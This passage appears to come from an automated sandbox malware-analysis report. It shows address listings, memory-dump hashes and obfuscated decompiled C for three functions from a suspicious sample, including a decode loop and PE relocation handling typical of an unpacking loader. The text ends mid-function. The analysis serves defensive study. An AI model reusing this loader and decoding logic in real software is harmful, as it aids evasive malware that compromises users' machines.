0x00e92117
0x00e92122
0x00e92124
0x00e92127
0x00e92129
0x00e9212f
0x00e92139
0x00e9213c
0x00e92143
0x00e92146
0x00e92149
0x00e92149
0x00e9214f
0x00e92156
0x00e9215c
0x00e92169
0x00e9216b
0x00e9216c
0x00e92176
0x00e92179
0x00e9217f
0x00e92189
0x00e9218c
0x00e92192
0x00e92199
0x00e921a2
0x00e921b1
0x00e921b3
0x00e921b4
0x00e921bb
0x00e921be
0x00e921c1
0x00e921cd
0x00e921d4
0x00e921da
0x00e921e2
0x00e921e3
0x00e921e9
0x00e921f0
0x00e921f3
0x00e921fa
0x00e921fd
0x00e92200
0x00e92206
0x00e9220e
0x00e92215
0x00e9221b
0x00e9221e
0x00e92225
0x00e9222b
0x00e92234
0x00e92237
0x00e92240
0x00e92243
0x00e92249
0x00e92250
0x00e92253
0x00e9225b
0x00e9225e
0x00e92263
0x00e92267
0x00e9226a
0x00e9226c
0x00e9227a
0x00e9227c
0x00e9227f
0x00e92281
0x00e92287
0x00e92291
0x00e92294
0x00e9229b
0x00e9229f
0x00e922a2
0x00e922a2
0x00e922ae
0x00e922b5
0x00e922bb
0x00e922be
0x00e922c4
0x00e922ce
0x00e922d1
0x00e922d7
0x00e922df
0x00e922e6
0x00e922ec
0x00e922ef
0x00e922f6
0x00e922fa
0x00e922fd
0x00e92303
0x00e9230a
0x00e9230d
0x00e92313
0x00e9231b
0x00e92322
0x00e92328
0x00e9232b
0x00e9232e
0x00e92331
0x00e92331
0x00e92335
0x00e92339
0x00e9233c
0x00e92342
0x00e9234c
0x00e9234f
0x00e92355
0x00e9235c
0x00e9235f
0x00e92368
0x00e9236b
0x00e92371
0x00e92374
0x00e92377
0x00e9237e
0x00e9237f
0x00e92382
0x00e92392
0x00e92395
0x00e92397
0x00e9239d
0x00e923a4
0x00e923a7
0x00e923ad
0x00e923b7
0x00e923ba
0x00e923c0
0x00e923c8
0x00e923cf
0x00e923d5
0x00e923d5
0x00e923da
0x00e923dd
0x00e923e0
0x00e923f0
0x00e923fc
0x00e923fe
0x00e92402
0x00e92405
0x00e92408
0x00e92410
0x00e92414
0x00e92415
0x00e9241d
0x00e9241f
0x00e92429
0x00e92429
0x00e9242d
0x00e92431
0x00e92438
0x00e92438
0x00e9243b
0x00e92442
0x00e92445
0x00e92448
0x00e9245d
0x00e92464

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39d30f7688323fef24dea233773f5addaff03df6641283267fa772f8f98102af
Instruction ID: 0fde7952d5738337576949cfa12761003298ed14b41a73b6aeaed5de432245e3
Opcode Fuzzy Hash: 39d30f7688323fef24dea233773f5addaff03df6641283267fa772f8f98102af
Instruction Fuzzy Hash: 5F422672C04218EFEF049FA0C8897EEBBF5FF48321F0584AAD899AA145D7345264CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00E943D8, Relevance: .4, Instructions: 371
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E00E943D8(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				void* _t202;
				void* _t204;
				signed int _t205;
				signed int _t210;
				void* _t212;
				void* _t213;
				signed int _t217;
				signed int _t220;
				signed int _t223;
				signed int _t228;
				void* _t230;
				void* _t232;
				intOrPtr _t233;
				void _t236;
				signed int _t240;
				intOrPtr _t246;
				signed int _t251;
				signed int _t253;
				signed int _t261;
				signed int _t264;
				signed int _t266;
				signed int _t274;
				signed int _t276;
				signed int _t278;
				signed int _t280;
				signed int _t283;
				void* _t286;
				signed int _t293;
				signed int _t294;
				signed int _t305;
				signed int _t306;
				signed int _t311;
				signed int _t314;
				signed int _t316;
				signed int _t318;
				signed int _t320;
				signed int _t323;
				signed int _t326;
				signed int _t330;
				signed int _t334;
				signed int _t337;
				signed int _t340;
				signed int _t343;
				void* _t348;
				signed int _t355;
				signed int _t358;
				signed int _t363;
				void* _t364;
				signed int _t366;
				signed int _t369;
				signed int* _t370;
				signed int* _t371;
				signed int* _t372;
				signed int* _t373;
				signed int* _t374;
				signed int* _t375;
				signed int* _t376;
				signed int* _t377;

				_t355 = __esi;
				_t337 = __edi;
				 *_t370 =  *_t370 - _t366;
				 *_t370 = __ebx + 0x41c5e4;
				_t202 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t366 - 0x1c) = 0;
				_push( *(_t366 - 0x1c));
				 *_t370 =  *_t370 + _t202;
				_push(__edi);
				 *_t370 =  *_t370 ^ __edi;
				 *_t370 =  *_t370 | __ebx + 0x0041c129;
				_t204 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t274 = (__ecx & 0x00000000) +  *_t370;
				_t371 = _t370 - 0xfffffffc;
				 *(_t366 - 0x1c) = __ebx;
				_push(_t274 + _t204);
				_t261 =  *(_t366 - 0x1c);
				_pop(_t205);
				_push(__edx);
				_t276 = _t274 & 0x00000000 | __edx ^  *_t371 |  *(_t261 + 0x41c62b);
				_pop(_t305);
				if(_t276 > _t205) {
					 *_t371 =  *_t371 & 0x00000000;
					 *_t371 =  *_t371 ^ _t261 + 0x0041c5e4;
					 *_t371 =  *_t371 & 0x00000000;
					 *_t371 =  *_t371 + _t261 + 0x41c129;
					_t205 =  *((intOrPtr*)(_t261 + 0x41f064))(_t366, __esi);
				}
				 *_t371 = _t355;
				 *(_t261 + 0x41d040) = 0 ^ _t205;
				_t358 = 0;
				if( *((intOrPtr*)(_t366 - 0x10)) == 4) {
					_t15 = _t261 + 0x41d1be; // 0x41d1be
					 *_t371 = _t15;
					_t17 = _t261 + 0x41c0a8; // 0x41c0a8
					 *_t371 =  *_t371 & 0x00000000;
					 *_t371 =  *_t371 ^ _t17;
					_push( *((intOrPtr*)(_t261 + 0x41f068))(_t358,  *(_t366 - 0x24)));
					_pop( *_t19);
					_push( *(_t366 - 0x20));
					_pop( *_t21);
					 *((intOrPtr*)(_t366 - 8)) = 1;
					_t23 = _t261 + 0x41c6f8; // 0x41c6f8
					 *(_t366 - 0x20) =  *(_t366 - 0x20) & 0x00000000;
					 *_t371 =  *_t371 ^ _t23;
					_t251 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t366 - 0x20));
					 *(_t366 - 0x20) = _t305;
					 *(_t261 + 0x41c674) =  *(_t261 + 0x41c674) & 0x00000000;
					 *(_t261 + 0x41c674) =  *(_t261 + 0x41c674) | _t305 ^  *(_t366 - 0x20) | _t251;
					_t334 =  *(_t366 - 0x20);
					 *((intOrPtr*)(_t366 - 0xc)) = 0x55;
					_t36 = _t261 + 0x41c356; // 0x41c356
					 *(_t366 - 0x1c) =  *(_t366 - 0x1c) & 0x00000000;
					 *_t371 =  *_t371 | _t36;
					_t253 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t366 - 0x1c));
					 *(_t366 - 0x24) = _t337;
					 *(_t261 + 0x41cd7d) =  *(_t261 + 0x41cd7d) & 0x00000000;
					 *(_t261 + 0x41cd7d) =  *(_t261 + 0x41cd7d) | _t337 & 0x00000000 ^ _t253;
					_t337 =  *(_t366 - 0x24);
					 *((intOrPtr*)(_t366 - 0x18)) = 2;
					_t48 = _t261 + 0x41cc3e; // 0x41cc3e
					 *(_t366 - 0x24) =  *(_t366 - 0x24) & 0x00000000;
					 *_t371 =  *_t371 ^ _t48;
					_t52 = _t261 + 0x41cf5b; // 0x41cf5b
					 *_t371 =  *_t371 ^ _t358;
					 *_t371 = _t52;
					_t205 =  *((intOrPtr*)(_t261 + 0x41f068))(_t358,  *(_t366 - 0x24));
					 *(_t366 - 0x20) = _t334;
					 *(_t261 + 0x41c1cd) =  *(_t261 + 0x41c1cd) & 0x00000000;
					 *(_t261 + 0x41c1cd) =  *(_t261 + 0x41c1cd) | _t334 & 0x00000000 | _t205;
					_t305 =  *(_t366 - 0x20);
				}
				_t306 = _t305 ^ _t305;
				 *_t371 =  *_t371 - _t337;
				 *_t371 = _t306;
				_t60 = _t261 + 0x41c61d; // 0x41c61d
				 *_t371 =  *_t371 ^ _t358;
				 *_t371 = _t60;
				_t210 =  *((intOrPtr*)(_t261 + 0x41f060))(_t358, _t337, _t205);
				 *_t371 = _t210;
				_t63 = _t261 + 0x41cf67; // 0x41cf67
				 *(_t366 - 0x24) = 0;
				 *_t371 =  *_t371 ^ _t63;
				_t212 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t366 - 0x24),  *(_t366 - 0x1c));
				_pop( *_t67);
				_t278 = _t276 & 0x00000000 ^  *(_t366 - 0x24);
				 *(_t366 - 0x24) = _t337;
				_push(_t278 + _t212);
				_t340 =  *(_t366 - 0x24);
				_pop(_t213);
				_t280 = _t278 & 0x00000000 | _t366 & 0x00000000 ^  *(_t261 + 0x41c5dc);
				_t369 = _t366;
				if(_t280 > _t213) {
					_t72 = _t261 + 0x41c61d; // 0x41c61d
					 *(_t369 - 0x1c) = 0;
					 *_t371 =  *_t371 ^ _t72;
					_t75 = _t261 + 0x41cf67; // 0x41cf67
					 *(_t369 - 0x20) = 0;
					 *_t371 =  *_t371 | _t75;
					_t246 =  *((intOrPtr*)(_t261 + 0x41f064))( *(_t369 - 0x20),  *(_t369 - 0x1c));
					 *(_t369 - 0x1c) = _t280;
					 *((intOrPtr*)(_t261 + 0x41cf4f)) = _t246;
					_t280 =  *(_t369 - 0x1c);
				}
				_t372 =  &(_t371[1]);
				 *_t372 = _t280;
				_t283 = 0;
				 *_t372 = _t306 & 0x00000000 |  *_t371;
				_t84 = _t261 + 0x41cef6; // 0x41cef6
				 *(_t369 - 0x1c) =  *(_t369 - 0x1c) & 0x00000000;
				 *_t372 =  *_t372 | _t84;
				_t88 = _t261 + 0x41ceb9; // 0x41ceb9
				 *_t372 =  *_t372 ^ _t369;
				 *_t372 =  *_t372 ^ _t88;
				_t217 =  *((intOrPtr*)(_t261 + 0x41f068))(_t369,  *(_t369 - 0x1c),  *(_t369 - 0x24));
				 *(_t261 + 0x41caf5) =  *(_t261 + 0x41caf5) & 0x00000000;
				 *(_t261 + 0x41caf5) =  *(_t261 + 0x41caf5) | _t283 ^  *_t372 | _t217;
				_t286 = _t283;
				_t373 = _t372 - 0xfffffffc;
				_t311 = _t217 %  *(_t369 - 0x18);
				 *_t373 =  *_t373 & 0x00000000;
				 *_t373 =  *_t373 | _t311;
				_t100 = _t261 + 0x41c52d; // 0x41c52d
				 *(_t369 - 0x24) = 0;
				 *_t373 =  *_t373 ^ _t100;
				_t220 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t369 - 0x24), _t286);
				 *(_t261 + 0x41d106) =  *(_t261 + 0x41d106) & 0x00000000;
				 *(_t261 + 0x41d106) =  *(_t261 + 0x41d106) | _t311 & 0x00000000 | _t220;
				_t314 = _t311;
				_t316 = _t314 & 0x00000000 ^  *_t373;
				_t374 = _t373 - 0xfffffffc;
				 *((intOrPtr*)(_t369 - 4)) =  *((intOrPtr*)(_t369 - 4)) - _t316;
				 *(_t369 - 0x24) = 0;
				 *_t374 =  *_t374 | _t316;
				_t112 = _t261 + 0x41c7ee; // 0x41c7ee
				 *_t374 =  *_t374 ^ _t340;
				 *_t374 =  *_t374 ^ _t112;
				_t113 = _t261 + 0x41c513; // 0x41c513
				 *(_t369 - 0x20) = 0;
				 *_t374 =  *_t374 | _t113;
				_t223 =  *((intOrPtr*)(_t261 + 0x41f068))( *(_t369 - 0x20), _t340,  *(_t369 - 0x24), _t286);
				 *(_t369 - 0x20) = _t358;
				 *(_t261 + 0x41c2a8) =  *(_t261 + 0x41c2a8) & 0x00000000;
				 *(_t261 + 0x41c2a8) =  *(_t261 + 0x41c2a8) ^ _t358 & 0x00000000 ^ _t223;
				_t318 =  *_t374;
				_t375 =  &(_t374[1]);
				 *(_t369 - 0x1c) = _t223;
				 *(_t369 - 0x14) =  *(_t369 - 0x14) & 0x00000000;
				 *(_t369 - 0x14) =  *(_t369 - 0x14) | _t223 ^  *(_t369 - 0x1c) ^ _t318;
				_t130 = _t261 + 0x41ccc7; // 0x41ccc7
				 *(_t369 - 0x24) = 0;
				 *_t375 =  *_t375 | _t130;
				_t228 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t369 - 0x24));
				 *(_t261 + 0x41cca4) =  *(_t261 + 0x41cca4) & 0x00000000;
				 *(_t261 + 0x41cca4) =  *(_t261 + 0x41cca4) | _t340 -  *_t375 | _t228;
				_t343 = _t340;
				_t363 =  *(_t369 - 0x20) & 0x00000000 ^ _t261 & 0x00000000 ^  *(_t369 + 8);
				_t264 = _t261;
				_t139 = _t264 + 0x41c550; // 0x41c550
				 *(_t369 - 0x20) = 0;
				 *_t375 =  *_t375 + _t139;
				_t230 =  *((intOrPtr*)(_t264 + 0x41f060))( *(_t369 - 0x20));
				 *(_t369 - 0x20) = 0;
				 *_t375 =  *_t375 + _t230;
				_t145 = _t264 + 0x41d34c; // 0x41d34c
				 *_t375 = _t145;
				_t232 =  *((intOrPtr*)(_t264 + 0x41f060))( *(_t369 - 0x20),  *(_t369 - 0x20));
				_t376 = _t375 - 0xfffffffc;
				 *_t148 = _t232;
				 *(_t369 - 0x24) =  *(_t369 - 0x24) + (0 ^  *_t375);
				_push( *(_t369 - 0x24));
				_pop(_t233);
				_t320 = _t318;
				 *(_t369 - 0x1c) = _t320;
				_t323 =  *(_t369 - 0x1c);
				if( *((intOrPtr*)(_t264 + 0x41ccf8)) > _t233) {
					_t155 = _t264 + 0x41c550; // 0x41c550
					 *(_t369 - 0x1c) =  *(_t369 - 0x1c) & 0x00000000;
					 *_t376 =  *_t376 + _t155;
					_t159 = _t264 + 0x41d34c; // 0x41d34c
					 *(_t369 - 0x1c) =  *(_t369 - 0x1c) & 0x00000000;
					 *_t376 =  *_t376 + _t159;
					_t233 =  *((intOrPtr*)(_t264 + 0x41f064))( *(_t369 - 0x1c),  *(_t369 - 0x1c));
				}
				 *(_t369 - 0x24) = _t323;
				 *((intOrPtr*)(_t264 + 0x41ce46)) = _t233;
				_t326 =  *(_t369 - 0x24);
				 *(_t369 - 0x1c) = _t326;
				_t169 = _t264 + 0x41cb9d; // 0x41cb9d
				 *_t376 =  *_t376 - _t363;
				 *_t376 =  *_t376 | _t169;
				_t170 = _t264 + 0x41cd17; // 0x41cd17
				 *(_t369 - 0x20) =  *(_t369 - 0x20) & 0x00000000;
				 *_t376 =  *_t376 | _t170;
				_t236 =  *((intOrPtr*)(_t264 + 0x41f068))( *(_t369 - 0x20), _t363);
				 *_t376 = _t343 & 0x00000000 | _t326 & 0x00000000 ^ _t363;
				 *(_t264 + 0x41d015) = 0 ^ _t236;
				_t348 = 0;
				_t364 = _t363 - 1;
				 *(_t369 - 0x1c) = 0;
				_push( *(_t369 - 0x1c));
				 *_t376 =  *_t376 | _t264;
				do {
					 *_t178 = _t348;
					_t293 =  *(_t369 - 0x20);
					_t294 = _t293 &  *(_t369 - 8);
					if(_t294 == 0) {
						_t364 = _t364 + 1;
						_t236 = _t236 & 0x00000000 ^ (_t348 -  *_t376 |  *(_t369 - 0x18));
						_t348 = _t348;
						_t264 =  *(_t236 + _t364) & 0x000000ff;
					}
					 *_t184 =  *((intOrPtr*)(_t369 - 0xc));
					_t330 =  *(_t369 - 0x20);
					asm("rol edx, cl");
					asm("lodsb");
					_t236 = _t236 | _t330 & _t264;
					 *_t348 = _t236;
					_t348 = _t348 + 1;
					_t186 = _t369 - 4;
					 *_t186 =  *((intOrPtr*)(_t369 - 4)) - 1;
				} while ( *_t186 != 0);
				_t266 =  *_t376;
				_t377 =  &(_t376[1]);
				_t188 = _t266 + 0x41cc0b; // 0x41cc0b
				 *_t377 =  *_t377 & 0x00000000;
				 *_t377 =  *_t377 ^ _t188;
				_t189 = _t266 + 0x41cbd0; // 0x41cbd0
				 *_t377 =  *_t377 & 0x00000000;
				 *_t377 =  *_t377 | _t189;
				_t240 =  *((intOrPtr*)(_t266 + 0x41f068))(_t369, _t294);
				 *(_t369 - 0x20) = _t294;
				 *(_t266 + 0x41d326) =  *(_t266 + 0x41d326) & 0x00000000;
				 *(_t266 + 0x41d326) =  *(_t266 + 0x41d326) ^ (_t294 ^  *(_t369 - 0x20) | _t240);
				 *(_t369 - 0x1c) = _t266;
				return memcpy(_t348, _t364 + 1,  *(_t369 - 0x14));
			}

0x00e943d8
0x00e943d8
0x00e943df
0x00e943e2
0x00e943e5
0x00e943eb
0x00e943f2
0x00e943f5
0x00e943fe
0x00e943ff
0x00e94402
0x00e94405
0x00e94411
0x00e94414
0x00e94417
0x00e9441e
0x00e9441f
0x00e94422
0x00e94423
0x00e94430
0x00e94432
0x00e94435
0x00e9443e
0x00e94442
0x00e9444c
0x00e94450
0x00e94453
0x00e94453
0x00e9445b
0x00e94462
0x00e94468
0x00e9446d
0x00e94473
0x00e9447c
0x00e9447f
0x00e94486
0x00e9448a
0x00e94493
0x00e94494
0x00e94497
0x00e9449a
0x00e944a0
0x00e944a7
0x00e944ad
0x00e944b4
0x00e944b7
0x00e944bd
0x00e944c5
0x00e944cc
0x00e944d2
0x00e944d5
0x00e944dc
0x00e944e2
0x00e944e9
0x00e944ec
0x00e944f2
0x00e944fa
0x00e94501
0x00e94507
0x00e9450a
0x00e94511
0x00e94517
0x00e9451e
0x00e94521
0x00e94528
0x00e9452b
0x00e9452e
0x00e94534
0x00e9453c
0x00e94543
0x00e94549
0x00e94549
0x00e94551
0x00e94555
0x00e94558
0x00e9455b
0x00e94562
0x00e94565
0x00e94568
0x00e94571
0x00e94574
0x00e9457a
0x00e94584
0x00e94587
0x00e94593
0x00e94596
0x00e94599
0x00e945a0
0x00e945a1
0x00e945a4
0x00e945b2
0x00e945b4
0x00e945b7
0x00e945b9
0x00e945bf
0x00e945c9
0x00e945cc
0x00e945d2
0x00e945dc
0x00e945df
0x00e945e5
0x00e945ec
0x00e945f2
0x00e945f2
0x00e945fe
0x00e94603
0x00e9460d
0x00e94611
0x00e94614
0x00e9461a
0x00e94621
0x00e94624
0x00e9462b
0x00e9462e
0x00e94631
0x00e9463d
0x00e94644
0x00e9464a
0x00e94654
0x00e94657
0x00e9465b
0x00e9465f
0x00e94662
0x00e94668
0x00e94672
0x00e94675
0x00e94681
0x00e94688
0x00e9468e
0x00e94695
0x00e94698
0x00e946a1
0x00e946a5
0x00e946af
0x00e946b2
0x00e946b9
0x00e946bc
0x00e946bf
0x00e946c5
0x00e946cf
0x00e946d2
0x00e946d8
0x00e946e0
0x00e946e7
0x00e946f2
0x00e946f5
0x00e946f8
0x00e94700
0x00e94704
0x00e9470a
0x00e94710
0x00e9471a
0x00e9471d
0x00e94729
0x00e94730
0x00e94736
0x00e94741
0x00e94743
0x00e94744
0x00e9474a
0x00e94754
0x00e94757
0x00e9475d
0x00e94767
0x00e9476a
0x00e94773
0x00e94776
0x00e94781
0x00e94788
0x00e9478b
0x00e9478e
0x00e94791
0x00e94792
0x00e94793
0x00e947a0
0x00e947a5
0x00e947a7
0x00e947ad
0x00e947b4
0x00e947b7
0x00e947bd
0x00e947c4
0x00e947c7
0x00e947c7
0x00e947cd
0x00e947d4
0x00e947da
0x00e947dd
0x00e947ed
0x00e947f4
0x00e947f7
0x00e947fa
0x00e94800
0x00e94807
0x00e9480a
0x00e94812
0x00e94819
0x00e9481f
0x00e94820
0x00e94821
0x00e94828
0x00e9482b
0x00e9482e
0x00e9482f
0x00e94835
0x00e94836
0x00e94839
0x00e9483b
0x00e94846
0x00e94848
0x00e94849
0x00e94849
0x00e94850
0x00e94856
0x00e94857
0x00e9485b
0x00e9485c
0x00e9485e
0x00e94860
0x00e94861
0x00e94861
0x00e94861
0x00e94868
0x00e9486b
0x00e9486e
0x00e94875
0x00e94879
0x00e9487c
0x00e94883
0x00e94887
0x00e9488a
0x00e94890
0x00e94898
0x00e9489f
0x00e948a8
0x00e948c1

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 950c55eab0a1380bd81bf2ad2fa2bd8a9b0f1be257dd98b9728846acfec3c26f
Instruction ID: 5e17491b92c841f69ed4e092dd7427e9f6f2c197116d455e51914f910758f6c7
Opcode Fuzzy Hash: 950c55eab0a1380bd81bf2ad2fa2bd8a9b0f1be257dd98b9728846acfec3c26f
Instruction Fuzzy Hash: D30223728442088FEF04DFA4C88ABEEBBF1FF48310F19856ED889AA145D7385515CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00E92FAF, Relevance: .2, Instructions: 210
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E00E92FAF(void* __eax, signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4) {
				char _v2;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t60;
				signed int _t62;
				void* _t63;
				void* _t64;
				signed int _t65;
				signed int _t68;
				signed int _t74;
				void* _t77;
				signed int _t80;
				void* _t81;
				void* _t83;
				void* _t86;
				void* _t90;
				void* _t92;
				void* _t93;
				void* _t95;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				signed int _t105;
				signed int _t107;
				signed int _t108;
				signed int _t109;
				signed int _t111;
				signed int _t114;
				void* _t117;
				signed int _t120;
				signed int _t127;
				void* _t128;
				signed int _t130;
				signed int _t133;
				signed int _t140;
				signed int _t143;
				signed int _t145;
				void* _t148;
				signed int _t150;
				signed int _t151;
				signed int _t154;
				signed int _t156;
				void* _t161;
				signed int _t163;
				signed int _t164;
				void* _t167;
				signed int _t169;
				void* _t170;
				signed int* _t173;

				_t114 = __edx;
				_v16 = 0;
				_push(_v16);
				 *_t173 =  *_t173 + __esi;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t173 =  *_t173 | __edi;
				_push(__esi);
				_t140 =  *_t173;
				 *_t173 =  *(__ebx + 0x41c166);
				_pop( *_t8);
				_v16 = __ebx;
				_t74 = _v16;
				_t163 = _a4 | _a4;
				_t127 = _t163;
				_t164 = _t161;
				if(_t163 != 0) {
					 *_t173 = __ecx;
					_t90 = _t127;
					_t128 = _t90 +  *((intOrPtr*)(_t127 + 0x3c));
					_t92 = 0;
					 *_t14 =  *((intOrPtr*)(_t128 + 0x34));
					_push(_v16);
					_pop(_t60);
					_v12 = _v12 - _t60;
					_t77 = _t74;
					_v16 = _t140;
					_v8 = _v8 & 0x00000000;
					_v8 = _v8 | _t140 & 0x00000000 ^ _t60;
					_t143 = _v16;
					 *_t173 =  *_t173 + _t92;
					_t93 = _t128;
					_t95 = 0;
					_t130 = _t93 + ( *(_t128 + 0x14) & 0x0000ffff) + 0xffffffc0;
					_t98 = _t95;
					 *_t173 = _t164;
					_t62 =  *_t130;
					_t167 = 0;
					 *_t173 =  *_t173 | _t62;
					_t63 = _t62;
					if( *_t173 != 0) {
						_t80 = _t77;
						 *_t27 = _t63;
						_v16 = _v16 + _v12;
						_push(_v16);
						_pop(_t64);
						_t145 = _t143;
						_push(_t98 & 0x00000000 ^ (_t77 -  *_t173 |  *(_t130 + 4)));
						 *_t32 = _t64;
						_v16 = _v16 + _v8;
						_push(_v16);
						_pop(_t65);
						_pop(_t102);
						_t133 = _t130;
						_v16 = _t65;
						_push(_v12 + (_t145 & 0x00000000 | _t130 & 0x00000000 ^ _v8));
						_t68 = _v16;
						_pop(_t148);
						while(1) {
							_t150 = _t102 | _t102;
							_t103 = _t150;
							_t151 = _t148;
							if(_t150 == 0) {
								goto L12;
							}
							_t117 = _t114;
							 *_t173 =  *_t173 ^ _t80;
							_push(_t133 & 0x00000000 | _t114 & 0x00000000 |  *_t68);
							_pop(_t81);
							_t133 = _t81 + _t151;
							_t83 = 0;
							_v16 = _v16 & 0x00000000;
							_push(_v16);
							 *_t173 =  *_t173 | _t103;
							_v16 = _t151;
							_t105 = _t103 & 0x00000000 | _t151 - _v16 ^  *(_t68 + 4);
							_t154 = _v16;
							_v16 = 0;
							_push(_v16);
							 *_t173 =  *_t173 + _t105;
							_t86 = _t83;
							_t107 = _t105 + 0xfffffff8 >> 1;
							_t68 = _t68 + 8;
							_t120 = _t117;
							while(1) {
								_t156 = _t107 | _t107;
								_t108 = _t156;
								_t154 = _t154;
								if(_t156 == 0) {
									break;
								}
								_v16 = 0;
								_push(_v16);
								 *_t173 =  *_t173 | _t108;
								 *_t173 = 0xf000;
								_t109 = _t133;
								_t111 = 0 ^  *_t173;
								_t173 =  &(_t173[1]);
								_t169 =  *_t68 & 0x0000ffff & _t109 |  *_t68 & 0x0000ffff & _t109;
								_t120 = _t169;
								_t170 = _t167;
								if(_t169 != 0) {
									_t120 =  *_t68 & 0xfff;
									_push(_v16);
									 *_t173 = _t68;
									_t154 = _t154;
									 *((intOrPtr*)(_t120 + _t133)) =  *((intOrPtr*)(_t120 + _t133)) + (_t68 & 0x00000000 | _t154 & 0x00000000 | _v12);
									_pop( *_t55);
									_t68 = _v16;
								}
								_t68 =  &_v2;
								_t167 = _t170;
								_t107 = _t111 - 1;
							}
							_t114 = _t120 & 0x00000000 ^  *_t173;
							_t173 =  &(_t173[1]);
							_pop( *_t57);
							_t102 = (_t108 & 0x00000000 ^ _v16) - _t114;
							_t80 = _t86;
						}
					} else {
					}
				} else {
				}
				L12:
				return _t68;
			}

0x00e92faf
0x00e92fb5
0x00e92fbc
0x00e92fbf
0x00e92fc2
0x00e92fc6
0x00e92fc9
0x00e92fcc
0x00e92fd3
0x00e92fd3
0x00e92fd6
0x00e92fd9
0x00e92fe3
0x00e92fe9
0x00e92feb
0x00e92fed
0x00e92fee
0x00e92ff7
0x00e92ffb
0x00e92fff
0x00e93001
0x00e93005
0x00e93008
0x00e9300b
0x00e93012
0x00e93015
0x00e93016
0x00e9301e
0x00e93022
0x00e93025
0x00e9302e
0x00e93032
0x00e93037
0x00e93041
0x00e93043
0x00e93046
0x00e9304d
0x00e9304f
0x00e93051
0x00e93054
0x00e93055
0x00e93068
0x00e9306e
0x00e93071
0x00e93074
0x00e93077
0x00e93078
0x00e93079
0x00e9307e
0x00e93081
0x00e93084
0x00e93087
0x00e93088
0x00e93095
0x00e93096
0x00e9309e
0x00e9309f
0x00e930a2
0x00e9318d
0x00e93190
0x00e93192
0x00e93194
0x00e93195
0x00000000
0x00000000
0x00e930b3
0x00e930b6
0x00e930b9
0x00e930ba
0x00e930bd
0x00e930bf
0x00e930c0
0x00e930c4
0x00e930c7
0x00e930ca
0x00e930d6
0x00e930d8
0x00e930db
0x00e930e2
0x00e930e5
0x00e930f3
0x00e930f4
0x00e930ff
0x00e93101
0x00e93163
0x00e93166
0x00e93168
0x00e9316a
0x00e9316b
0x00000000
0x00000000
0x00e93107
0x00e9310e
0x00e93111
0x00e93115
0x00e9311c
0x00e93121
0x00e93124
0x00e9312a
0x00e9312c
0x00e9312e
0x00e9312f
0x00e93134
0x00e9313a
0x00e9313d
0x00e9314c
0x00e9314d
0x00e93150
0x00e93153
0x00e93153
0x00e9315f
0x00e93161
0x00e93162
0x00e93162
0x00e93173
0x00e93176
0x00e9317f
0x00e9318a
0x00e9318c
0x00e9318c
0x00000000
0x00e93057
0x00000000
0x00e92ff0
0x00e9319b
0x00e931b0

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1f32643c1a337532a551df5e7dd1d687da03bae7b11c336c53ee130eebd2aab
Instruction ID: b76800549f8f3f1bb9d5a0dbed3b2ed732c16931f299516547da69abe9a2321c
Opcode Fuzzy Hash: d1f32643c1a337532a551df5e7dd1d687da03bae7b11c336c53ee130eebd2aab
Instruction Fuzzy Hash: 01618373E04618AFEB048F99DC457ADFBB5EF44724F1581AEE594A3290DBB42A008B94

Uniqueness

Uniqueness Score: -1.00%

Function 00E92A69, Relevance: .2, Instructions: 161
COMMONCrypto

Download Yara Rule

C-Code - Quality: 61%

			E00E92A69(signed int __eax, signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				signed int _t52;
				signed int _t54;
				signed int _t56;
				intOrPtr _t63;
				signed int _t70;
				signed int _t75;
				signed int _t88;
				signed int _t91;
				signed int _t105;
				signed int _t109;
				signed int _t112;
				signed int _t125;
				void* _t129;
				signed int* _t140;

				_push(_v16);
				 *_t140 = __eax;
				_push(__edi);
				 *_t140 =  *_t140 ^ __edi;
				 *_t140 =  *_t140 ^ __ecx;
				_push(_v12);
				 *_t140 = __edx;
				_push(__ecx);
				 *_t140 =  *_t140 ^ __ecx;
				 *_t140 =  *_t140 + __edi;
				_push(__ecx);
				 *_t140 =  *_t140 - __ecx;
				 *_t140 = __esi;
				if( *((intOrPtr*)(__ebx + 0x41ce4a)) != 1) {
					_v16 = __edx;
					_t103 = 0 ^  *(__ebx + 0x41c3f9);
					_push(__esi);
					_pop(_t125);
					_v16 = _t125;
					_t105 =  *(__ebx + 0x41c166) +  *((intOrPtr*)((__eax & 0x00000000 | __esi & 0x00000000 ^  *((0 ^  *(__ebx + 0x41c3f9)) + 0x3c)) + _t103 + 0x28));
					 *_t17 = _t105;
					_push(_v8);
					_pop(_t88);
					_t107 = _t105 & 0x00000000 | _t88 & 0x00000000 ^  *(__ebx + 0x41c166);
					_t91 = _t88;
					 *_t140 = __ecx;
					_t70 = 0;
					_push(0);
					 *_t140 =  *_t140 ^ _v16;
					_push( *((intOrPtr*)((0 ^  *((_t105 & 0x00000000 | _t88 & 0x00000000 ^  *(__ebx + 0x41c166)) + 0x3c)) + _t107 + 0x28)));
					_pop(_t129);
					_t109 = _t129 +  *(__ebx + 0x41c166);
					_v12 = _t70;
					_t52 = 0 ^ _t109;
					 *_t140 = _t109;
